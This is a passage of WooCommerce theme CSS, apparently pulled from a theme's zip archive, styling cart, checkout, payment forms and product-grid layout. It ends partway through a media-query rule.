.shipping-calculator-button,.woocommerce-cart .cart-collaterals .shipping-calculator-button,.woocommerce-checkout .cart-collaterals .shipping-calculator-button{float:none;margin-top:.5em;display:inline-block}#add_payment_method .cart-collaterals .shipping-calculator-button::after,.woocommerce-cart .cart-collaterals .shipping-calculator-button::after,.woocommerce-checkout .cart-collaterals .shipping-calculator-button::after{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-right:.618em;content:"";text-decoration:none}#add_payment_method .cart-collaterals .shipping-calculator-form,.woocommerce-cart .cart-collaterals .shipping-calculator-form,.woocommerce-checkout .cart-collaterals .shipping-calculator-form{margin:1em 0 0 0}#add_payment_method .cart-collaterals .cart_totals p small,.woocommerce-cart .cart-collaterals .cart_totals p small,.woocommerce-checkout .cart-collaterals .cart_totals p small{color:#767676;font-size:.83em}#add_payment_method .cart-collaterals .cart_totals table,.woocommerce-cart .cart-collaterals .cart_totals table,.woocommerce-checkout .cart-collaterals .cart_totals table{border-collapse:separate;margin:0 0 6px;padding:0}#add_payment_method .cart-collaterals .cart_totals table tr:first-child td,#add_payment_method .cart-collaterals .cart_totals table tr:first-child th,.woocommerce-cart .cart-collaterals .cart_totals table tr:first-child td,.woocommerce-cart .cart-collaterals .cart_totals table tr:first-child th,.woocommerce-checkout .cart-collaterals .cart_totals table tr:first-child td,.woocommerce-checkout .cart-collaterals .cart_totals table tr:first-child th{border-top:0}#add_payment_method .cart-collaterals .cart_totals table th,.woocommerce-cart .cart-collaterals .cart_totals table th,.woocommerce-checkout .cart-collaterals .cart_totals table th{width:35%}#add_payment_method .cart-collaterals .cart_totals table td,#add_payment_method .cart-collaterals .cart_totals table th,.woocommerce-cart .cart-collaterals .cart_totals table td,.woocommerce-cart .cart-collaterals .cart_totals table th,.woocommerce-checkout .cart-collaterals .cart_totals table td,.woocommerce-checkout .cart-collaterals .cart_totals table th{vertical-align:top;border-right:0;border-left:0;line-height:1.5em}#add_payment_method .cart-collaterals .cart_totals table small,.woocommerce-cart .cart-collaterals .cart_totals table small,.woocommerce-checkout .cart-collaterals .cart_totals table small{color:#767676}#add_payment_method .cart-collaterals .cart_totals table select,.woocommerce-cart .cart-collaterals .cart_totals table select,.woocommerce-checkout .cart-collaterals .cart_totals table select{width:100%}#add_payment_method .cart-collaterals .cart_totals .discount td,.woocommerce-cart .cart-collaterals .cart_totals .discount td,.woocommerce-checkout .cart-collaterals .cart_totals .discount td{color:#77a464}#add_payment_method .cart-collaterals .cart_totals tr td,#add_payment_method .cart-collaterals .cart_totals tr th,.woocommerce-cart .cart-collaterals .cart_totals tr td,.woocommerce-cart .cart-collaterals .cart_totals tr th,.woocommerce-checkout .cart-collaterals .cart_totals tr td,.woocommerce-checkout .cart-collaterals .cart_totals tr th{border-top:1px solid #ebe9eb}#add_payment_method .cart-collaterals .cart_totals .woocommerce-shipping-destination,.woocommerce-cart .cart-collaterals .cart_totals .woocommerce-shipping-destination,.woocommerce-checkout .cart-collaterals .cart_totals .woocommerce-shipping-destination{margin-bottom:0}#add_payment_method .cart-collaterals .cross-sells ul.products li.product,.woocommerce-cart .cart-collaterals .cross-sells ul.products li.product,.woocommerce-checkout .cart-collaterals .cross-sells ul.products li.product{margin-top:0}#add_payment_method .checkout .col-2 h3#ship-to-different-address,.woocommerce-cart .checkout .col-2 h3#ship-to-different-address,.woocommerce-checkout .checkout .col-2 h3#ship-to-different-address{float:right;clear:none}#add_payment_method .checkout .col-2 .notes,.woocommerce-cart .checkout .col-2 .notes,.woocommerce-checkout .checkout .col-2 .notes{clear:right}#add_payment_method .checkout .col-2 .form-row-first,.woocommerce-cart .checkout .col-2 .form-row-first,.woocommerce-checkout .checkout .col-2 .form-row-first{clear:right}#add_payment_method .checkout .create-account small,.woocommerce-cart .checkout .create-account small,.woocommerce-checkout .checkout .create-account small{font-size:11px;color:#767676;font-weight:400}#add_payment_method .checkout div.shipping-address,.woocommerce-cart .checkout div.shipping-address,.woocommerce-checkout .checkout div.shipping-address{padding:0;clear:right;width:100%}#add_payment_method .checkout .shipping_address,.woocommerce-cart .checkout .shipping_address,.woocommerce-checkout .checkout .shipping_address{clear:both}#add_payment_method #payment,.woocommerce-cart #payment,.woocommerce-checkout #payment{background:#ebe9eb;border-radius:5px}#add_payment_method #payment ul.payment_methods,.woocommerce-cart #payment ul.payment_methods,.woocommerce-checkout #payment ul.payment_methods{text-align:right;padding:1em;border-bottom:1px solid #d3ced2;margin:0;list-style:none outside}#add_payment_method #payment ul.payment_methods::after,#add_payment_method #payment ul.payment_methods::before,.woocommerce-cart #payment ul.payment_methods::after,.woocommerce-cart #payment ul.payment_methods::before,.woocommerce-checkout #payment ul.payment_methods::after,.woocommerce-checkout #payment ul.payment_methods::before{content:" ";display:table}#add_payment_method #payment ul.payment_methods::after,.woocommerce-cart #payment ul.payment_methods::after,.woocommerce-checkout #payment ul.payment_methods::after{clear:both}#add_payment_method #payment ul.payment_methods li,.woocommerce-cart #payment ul.payment_methods li,.woocommerce-checkout #payment ul.payment_methods li{line-height:2;text-align:right;margin:0;font-weight:400}#add_payment_method #payment ul.payment_methods li input,.woocommerce-cart #payment ul.payment_methods li input,.woocommerce-checkout #payment ul.payment_methods li input{margin:0 0 0 1em}#add_payment_method #payment ul.payment_methods li img,.woocommerce-cart #payment ul.payment_methods li img,.woocommerce-checkout #payment ul.payment_methods li img{vertical-align:middle;margin:-2px .5em 0 0;padding:0;position:relative;box-shadow:none}#add_payment_method #payment ul.payment_methods li img+img,.woocommerce-cart #payment ul.payment_methods li img+img,.woocommerce-checkout #payment ul.payment_methods li img+img{margin-right:2px}#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice)::after,#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice)::before,.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::after,.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::before,.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::after,.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::before{content:" ";display:table}#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice)::after,.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::after,.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::after{clear:both}#add_payment_method #payment div.form-row,.woocommerce-cart #payment div.form-row,.woocommerce-checkout #payment div.form-row{padding:1em}#add_payment_method #payment div.payment_box,.woocommerce-cart #payment div.payment_box,.woocommerce-checkout #payment div.payment_box{position:relative;box-sizing:border-box;width:100%;padding:1em;margin:1em 0;font-size:.92em;border-radius:2px;line-height:1.5;background-color:#dfdcde;color:#515151}#add_payment_method #payment div.payment_box input.input-text,#add_payment_method #payment div.payment_box textarea,.woocommerce-cart #payment div.payment_box input.input-text,.woocommerce-cart #payment div.payment_box textarea,.woocommerce-checkout #payment div.payment_box input.input-text,.woocommerce-checkout #payment div.payment_box textarea{border-color:#c7c1c6;border-top-color:#bbb3b9}#add_payment_method #payment div.payment_box ::-webkit-input-placeholder,.woocommerce-cart #payment div.payment_box ::-webkit-input-placeholder,.woocommerce-checkout #payment div.payment_box ::-webkit-input-placeholder{color:#bbb3b9}#add_payment_method #payment div.payment_box :-moz-placeholder,.woocommerce-cart #payment div.payment_box :-moz-placeholder,.woocommerce-checkout #payment div.payment_box :-moz-placeholder{color:#bbb3b9}#add_payment_method #payment div.payment_box :-ms-input-placeholder,.woocommerce-cart #payment div.payment_box :-ms-input-placeholder,.woocommerce-checkout #payment div.payment_box :-ms-input-placeholder{color:#bbb3b9}#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods,.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods,.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods{list-style:none outside;margin:0}#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new,#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token,.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new,.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token,.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new,.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token{margin:0 0 .5em}#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new label,#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token label,.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new label,.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token label,.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new label,.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token label{cursor:pointer}#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-tokenInput,.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-tokenInput,.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-tokenInput{vertical-align:middle;margin:-3px 0 0 1em;position:relative}#add_payment_method #payment div.payment_box .wc-credit-card-form,.woocommerce-cart #payment div.payment_box .wc-credit-card-form,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form{border:0;padding:0;margin:1em 0 0}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number{font-size:1.5em;padding:8px;background-repeat:no-repeat;background-position:left .618em center;background-size:32px 20px}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.visa,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.visa,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.visa,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.visa,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.visa,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.visa,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.visa,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.visa,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.visa{background-image:url(../images/icons/credit-cards/visa.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.mastercard,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.mastercard,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.mastercard,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.mastercard,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.mastercard,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.mastercard,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.mastercard,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.mastercard,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.mastercard{background-image:url(../images/icons/credit-cards/mastercard.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.laser,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.laser,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.laser,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.laser,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.laser,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.laser,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.laser,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.laser,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.laser{background-image:url(../images/icons/credit-cards/laser.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.dinersclub,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.dinersclub,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.dinersclub,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.dinersclub,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.dinersclub,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.dinersclub,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.dinersclub,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.dinersclub,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.dinersclub{background-image:url(../images/icons/credit-cards/diners.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.maestro,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.maestro,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.maestro,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.maestro,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.maestro,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.maestro,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.maestro,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.maestro,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.maestro{background-image:url(../images/icons/credit-cards/maestro.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.jcb,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.jcb,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.jcb,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.jcb,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.jcb,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.jcb,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.jcb,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.jcb,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.jcb{background-image:url(../images/icons/credit-cards/jcb.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.amex,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.amex,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.amex,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.amex,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.amex,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.amex,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.amex,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.amex,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.amex{background-image:url(../images/icons/credit-cards/amex.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.discover,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.discover,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.discover,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.discover,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.discover,.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.discover,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.discover,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.discover,.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.discover{background-image:url(../images/icons/credit-cards/discover.svg)}#add_payment_method #payment div.payment_box span.help,.woocommerce-cart #payment div.payment_box span.help,.woocommerce-checkout #payment div.payment_box span.help{font-size:.857em;color:#767676;font-weight:400}#add_payment_method #payment div.payment_box .form-row,.woocommerce-cart #payment div.payment_box .form-row,.woocommerce-checkout #payment div.payment_box .form-row{margin:0 0 1em}#add_payment_method #payment div.payment_box p:last-child,.woocommerce-cart #payment div.payment_box p:last-child,.woocommerce-checkout #payment div.payment_box p:last-child{margin-bottom:0}#add_payment_method #payment div.payment_box::before,.woocommerce-cart #payment div.payment_box::before,.woocommerce-checkout #payment div.payment_box::before{content:"";display:block;border:1em solid #dfdcde;border-left-color:transparent;border-right-color:transparent;border-top-color:transparent;position:absolute;top:-.75em;right:0;margin:-1em 2em 0 0}#add_payment_method #payment .payment_method_paypal .about_paypal,.woocommerce-cart #payment .payment_method_paypal .about_paypal,.woocommerce-checkout #payment .payment_method_paypal .about_paypal{float:left;line-height:52px;font-size:.83em}#add_payment_method #payment .payment_method_paypal img,.woocommerce-cart #payment .payment_method_paypal img,.woocommerce-checkout #payment .payment_method_paypal img{max-height:52px;vertical-align:middle}.woocommerce-terms-and-conditions{border:1px solid rgba(0,0,0,.2);box-shadow:inset 0 1px 2px rgba(0,0,0,.1);background:rgba(0,0,0,.05)}.woocommerce-invalid #terms{outline:2px solid red;outline-offset:2px}.woocommerce-password-strength{text-align:center;font-weight:600;padding:3px .5em;font-size:1em}.woocommerce-password-strength.strong{background-color:#c1e1b9;border-color:#83c373}.woocommerce-password-strength.short{background-color:#f1adad;border-color:#e35b5b}.woocommerce-password-strength.bad{background-color:#fbc5a9;border-color:#f78b53}.woocommerce-password-strength.good{background-color:#ffe399;border-color:#ffc733}.woocommerce-password-hint{margin:.5em 0 0;display:block}#content.twentyeleven .woocommerce-pagination a{font-size:1em;line-height:1}.single-product .twentythirteen #reply-title,.single-product .twentythirteen #respond #commentform,.single-product .twentythirteen .entry-summary{padding:0}.single-product .twentythirteen p.stars{clear:both}.twentythirteen .woocommerce-breadcrumb{padding-top:40px}.twentyfourteen ul.products li.product{margin-top:0!important}body:not(.search-results) .twentysixteen .entry-summary{color:inherit;font-size:inherit;line-height:inherit}.twentysixteen .price ins{background:inherit;color:inherit}PK     N\/&M[  [  0  inc/woocommerce/css/build/woocommerce-layout.cssnu [        @charset "UTF-8";
/**
 * woocommerce-layout.scss
 * Applies layout to the default WooCommerce frontend design
 */
/**
 * Imports
 */
/**
 * Deprecated
 * Fallback for bourbon equivalent
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Vendor prefix no longer required.
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include transform(scale(1.5));`
 */
/**
 * Deprecated
 * Use bourbon mixin instead `@include box-sizing(border-box);`
 */
/**
 * Objects
 */
/**
 * WooCommerce CSS Variables
 */
:root {
  --woocommerce: #a46497;
  --wc-green: #7ad03a;
  --wc-red: #a00;
  --wc-orange: #ffba00;
  --wc-blue: #2ea2cc;
  --wc-primary: #a46497;
  --wc-primary-text: white;
  --wc-secondary: #ebe9eb;
  --wc-secondary-text: #515151;
  --wc-highlight: #77a464;
  --wc-highligh-text: white;
  --wc-content-bg: #fff;
  --wc-subtext: #767676;
}

/**
 * Styling begins
 */
.woocommerce,
.woocommerce-page {
  /**
   * General layout styles
   */
  /**
   * Product page
   */
  /**
   * Product loops
   */
  /**
   * Cart page
   */
  /**
   * Cart sidebar
   */
  /**
   * Forms
   */
  /**
   * oEmbeds
   */
}
.woocommerce .woocommerce-message .button,
.woocommerce .woocommerce-error .button,
.woocommerce .woocommerce-info .button,
.woocommerce-page .woocommerce-message .button,
.woocommerce-page .woocommerce-error .button,
.woocommerce-page .woocommerce-info .button {
  float: right;
}
.woocommerce .col2-set,
.woocommerce-page .col2-set {
  *zoom: 1;
  width: 100%;
}
.woocommerce .col2-set::before, .woocommerce .col2-set::after,
.woocommerce-page .col2-set::before,
.woocommerce-page .col2-set::after {
  content: " ";
  display: table;
}
.woocommerce .col2-set::after,
.woocommerce-page .col2-set::after {
  clear: both;
}
.woocommerce .col2-set .col-1,
.woocommerce-page .col2-set .col-1 {
  float: left;
  width: 48%;
}
.woocommerce .col2-set .col-2,
.woocommerce-page .col2-set .col-2 {
  float: right;
  width: 48%;
}
.woocommerce img,
.woocommerce-page img {
  height: auto;
  max-width: 100%;
}
.woocommerce div.product div.images,
.woocommerce #content div.product div.images,
.woocommerce-page div.product div.images,
.woocommerce-page #content div.product div.images {
  float: left;
  width: 48%;
}
.woocommerce div.product div.thumbnails,
.woocommerce #content div.product div.thumbnails,
.woocommerce-page div.product div.thumbnails,
.woocommerce-page #content div.product div.thumbnails {
  *zoom: 1;
}
.woocommerce div.product div.thumbnails::before, .woocommerce div.product div.thumbnails::after,
.woocommerce #content div.product div.thumbnails::before,
.woocommerce #content div.product div.thumbnails::after,
.woocommerce-page div.product div.thumbnails::before,
.woocommerce-page div.product div.thumbnails::after,
.woocommerce-page #content div.product div.thumbnails::before,
.woocommerce-page #content div.product div.thumbnails::after {
  content: " ";
  display: table;
}
.woocommerce div.product div.thumbnails::after,
.woocommerce #content div.product div.thumbnails::after,
.woocommerce-page div.product div.thumbnails::after,
.woocommerce-page #content div.product div.thumbnails::after {
  clear: both;
}
.woocommerce div.product div.thumbnails a,
.woocommerce #content div.product div.thumbnails a,
.woocommerce-page div.product div.thumbnails a,
.woocommerce-page #content div.product div.thumbnails a {
  float: left;
  width: 30.75%;
  margin-right: 3.8%;
  margin-bottom: 1em;
}
.woocommerce div.product div.thumbnails a.last,
.woocommerce #content div.product div.thumbnails a.last,
.woocommerce-page div.product div.thumbnails a.last,
.woocommerce-page #content div.product div.thumbnails a.last {
  margin-right: 0;
}
.woocommerce div.product div.thumbnails a.first,
.woocommerce #content div.product div.thumbnails a.first,
.woocommerce-page div.product div.thumbnails a.first,
.woocommerce-page #content div.product div.thumbnails a.first {
  clear: both;
}
.woocommerce div.product div.thumbnails.columns-1 a,
.woocommerce #content div.product div.thumbnails.columns-1 a,
.woocommerce-page div.product div.thumbnails.columns-1 a,
.woocommerce-page #content div.product div.thumbnails.columns-1 a {
  width: 100%;
  margin-right: 0;
  float: none;
}
.woocommerce div.product div.thumbnails.columns-2 a,
.woocommerce #content div.product div.thumbnails.columns-2 a,
.woocommerce-page div.product div.thumbnails.columns-2 a,
.woocommerce-page #content div.product div.thumbnails.columns-2 a {
  width: 48%;
}
.woocommerce div.product div.thumbnails.columns-4 a,
.woocommerce #content div.product div.thumbnails.columns-4 a,
.woocommerce-page div.product div.thumbnails.columns-4 a,
.woocommerce-page #content div.product div.thumbnails.columns-4 a {
  width: 22.05%;
}
.woocommerce div.product div.thumbnails.columns-5 a,
.woocommerce #content div.product div.thumbnails.columns-5 a,
.woocommerce-page div.product div.thumbnails.columns-5 a,
.woocommerce-page #content div.product div.thumbnails.columns-5 a {
  width: 16.9%;
}
.woocommerce div.product div.summary,
.woocommerce #content div.product div.summary,
.woocommerce-page div.product div.summary,
.woocommerce-page #content div.product div.summary {
  float: right;
  width: 48%;
  clear: none;
}
.woocommerce div.product .woocommerce-tabs,
.woocommerce #content div.product .woocommerce-tabs,
.woocommerce-page div.product .woocommerce-tabs,
.woocommerce-page #content div.product .woocommerce-tabs {
  clear: both;
}
.woocommerce div.product .woocommerce-tabs ul.tabs,
.woocommerce #content div.product .woocommerce-tabs ul.tabs,
.woocommerce-page div.product .woocommerce-tabs ul.tabs,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs {
  *zoom: 1;
}
.woocommerce div.product .woocommerce-tabs ul.tabs::before, .woocommerce div.product .woocommerce-tabs ul.tabs::after,
.woocommerce #content div.product .woocommerce-tabs ul.tabs::before,
.woocommerce #content div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page div.product .woocommerce-tabs ul.tabs::before,
.woocommerce-page div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs::before,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs::after {
  content: " ";
  display: table;
}
.woocommerce div.product .woocommerce-tabs ul.tabs::after,
.woocommerce #content div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs::after {
  clear: both;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li,
.woocommerce #content div.product .woocommerce-tabs ul.tabs li,
.woocommerce-page div.product .woocommerce-tabs ul.tabs li,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs li {
  display: inline-block;
}
.woocommerce div.product #reviews .comment,
.woocommerce #content div.product #reviews .comment,
.woocommerce-page div.product #reviews .comment,
.woocommerce-page #content div.product #reviews .comment {
  *zoom: 1;
}
.woocommerce div.product #reviews .comment::before, .woocommerce div.product #reviews .comment::after,
.woocommerce #content div.product #reviews .comment::before,
.woocommerce #content div.product #reviews .comment::after,
.woocommerce-page div.product #reviews .comment::before,
.woocommerce-page div.product #reviews .comment::after,
.woocommerce-page #content div.product #reviews .comment::before,
.woocommerce-page #content div.product #reviews .comment::after {
  content: " ";
  display: table;
}
.woocommerce div.product #reviews .comment::after,
.woocommerce #content div.product #reviews .comment::after,
.woocommerce-page div.product #reviews .comment::after,
.woocommerce-page #content div.product #reviews .comment::after {
  clear: both;
}
.woocommerce div.product #reviews .comment img,
.woocommerce #content div.product #reviews .comment img,
.woocommerce-page div.product #reviews .comment img,
.woocommerce-page #content div.product #reviews .comment img {
  float: right;
  height: auto;
}
.woocommerce ul.products,
.woocommerce ul.penci-woo-product-loop-categories,
.woocommerce-page ul.products,
.woocommerce-page ul.penci-woo-product-loop-categories {
  clear: both;
  display: flex;
  flex-wrap: wrap;
  margin-left: -15px;
  margin-right: -15px;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products,
.woocommerce ul.penci-woo-product-loop-categories,
.woocommerce-page ul.products,
.woocommerce-page ul.penci-woo-product-loop-categories {
    margin-left: 0;
    margin-right: 0;
    justify-content: space-between;
  }
  .woocommerce ul.products:before, .woocommerce ul.products:after,
.woocommerce ul.penci-woo-product-loop-categories:before,
.woocommerce ul.penci-woo-product-loop-categories:after,
.woocommerce-page ul.products:before,
.woocommerce-page ul.products:after,
.woocommerce-page ul.penci-woo-product-loop-categories:before,
.woocommerce-page ul.penci-woo-product-loop-categories:after {
    display: none;
  }
}
.woocommerce ul.products li.product,
.woocommerce ul.penci-woo-product-loop-categories li.product,
.woocommerce-page ul.products li.product,
.woocommerce-page ul.penci-woo-product-loop-categories li.product {
  flex: 0 0 auto;
  width: 25%;
  padding-left: 15px;
  padding-right: 15px;
  margin-bottom: 30px;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products li.product,
.woocommerce ul.penci-woo-product-loop-categories li.product,
.woocommerce-page ul.products li.product,
.woocommerce-page ul.penci-woo-product-loop-categories li.product {
    padding-left: 0;
    padding-right: 0;
  }
}
.woocommerce ul.products.product-list li.product-category,
.woocommerce ul.penci-woo-product-loop-categories.product-list li.product-category,
.woocommerce-page ul.products.product-list li.product-category,
.woocommerce-page ul.penci-woo-product-loop-categories.product-list li.product-category {
  max-width: 25%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.product-list li.product-category,
.woocommerce ul.penci-woo-product-loop-categories.product-list li.product-category,
.woocommerce-page ul.products.product-list li.product-category,
.woocommerce-page ul.penci-woo-product-loop-categories.product-list li.product-category {
    max-width: 50%;
  }
}
.woocommerce ul.products li.first,
.woocommerce ul.penci-woo-product-loop-categories li.first,
.woocommerce-page ul.products li.first,
.woocommerce-page ul.penci-woo-product-loop-categories li.first {
  clear: both;
}
.woocommerce ul.products li.last,
.woocommerce ul.penci-woo-product-loop-categories li.last,
.woocommerce-page ul.products li.last,
.woocommerce-page ul.penci-woo-product-loop-categories li.last {
  margin-right: 0;
}
.woocommerce ul.products.penci-owl-carousel,
.woocommerce ul.penci-woo-product-loop-categories.penci-owl-carousel,
.woocommerce-page ul.products.penci-owl-carousel,
.woocommerce-page ul.penci-woo-product-loop-categories.penci-owl-carousel {
  margin-left: 0;
  margin-right: 0;
}
.woocommerce ul.products.penci-owl-carousel li.product,
.woocommerce ul.penci-woo-product-loop-categories.penci-owl-carousel li.product,
.woocommerce-page ul.products.penci-owl-carousel li.product,
.woocommerce-page ul.penci-woo-product-loop-categories.penci-owl-carousel li.product {
  padding-left: 0;
  padding-right: 0;
}
.woocommerce ul.products.columns-1 li.product,
.woocommerce-page ul.products.columns-1 li.product {
  width: 100%;
}
.woocommerce ul.products.columns-2 li.product,
.woocommerce-page ul.products.columns-2 li.product {
  width: 50%;
}
.woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product {
  width: 33.3333333333%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.columns-3 li.product,
